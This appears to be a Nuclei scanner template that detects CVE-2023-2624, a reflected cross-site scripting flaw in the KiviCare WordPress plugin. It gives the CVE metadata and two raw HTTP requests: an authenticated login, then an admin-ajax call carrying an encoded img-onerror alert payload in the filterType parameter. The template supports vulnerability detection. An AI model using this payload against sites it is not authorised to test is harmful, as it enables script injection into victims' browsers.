id: CVE-2023-2624

info:
  name: KiviCare WordPress Plugin - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    The KiviCare WordPress plugin before 3.2.1 does not sanitise and escape the 'filterType' parameter, leading to Reflected Cross-Site Scripting.
  impact: |
    Successful exploitation could allow an attacker to execute malicious scripts in the context of the victim's browser.
  remediation: |
    Update to the latest version of the KiviCare WordPress Plugin to mitigate the XSS vulnerability.
  reference:
    - https://wpscan.com/vulnerability/dc3a841d-a95b-462e-be4b-acaa44e77264
    - http://packetstormsecurity.com/files/174895/WordPress-KiviCare-3.2.0-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2023-2624
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-2624
    epss-score: 0.01146
    epss-percentile: 0.62604
    cpe: cpe:2.3:a:iqonic:kivicare:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    verified: true
    vendor: iqonic
    product: kivicare
    framework: wordpress
  tags: cve,cve2023,kivicare,wp,wp-plugin,wordpress,wpscan,authenticated,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1

      - |
        GET /wp-admin/admin-ajax.php?action=ajax_get&route_name=get_weekly_appointment&filterType=%3Cimg%20src%20onerror=alert(document.domain)%3E HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - '<img src onerror=alert(document.domain)> appointment'
          - 'status":true'
        condition: and

      - type: word
        part: header_2
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 490a004630440220385dd5b5e8eeb7c4162d12fbe17fcbcb1cc2da380bf2e7dfb0305c04c96627910220358ea986e91145586d8673f2755b939f659e03452aa93e78fb29ac62e68dac87:922c64590222798bb761d5b6d8e72950